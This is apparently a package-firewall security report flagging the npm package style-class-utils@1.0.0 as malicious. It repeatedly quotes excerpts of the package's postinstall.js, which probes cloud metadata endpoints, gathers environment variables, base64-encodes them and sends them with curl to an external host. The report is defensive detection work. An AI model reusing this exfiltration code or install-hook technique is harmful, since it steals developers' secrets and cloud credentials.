style-class-utils@1.0.0: Malicious npm security report (Block) | LPM Firewall

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style-class-utils@1.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

3L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

postinstall.jsView on unpkg · L3

3Trigger-reachable chain: scripts.postinstall -> postinstall.js L3: L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L3

3L4: const { exec } = require('child_process'); L5:

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L3

3L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

postinstall.jsView on unpkg · L3

3L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

postinstall.jsView on unpkg · L3

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

3L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

postinstall.jsView on unpkg · L3

3Trigger-reachable chain: scripts.postinstall -> postinstall.js L3: L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L3

3L4: const { exec } = require('child_process'); L5:

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L3

3L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

postinstall.jsView on unpkg · L3

3L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

postinstall.jsView on unpkg · L3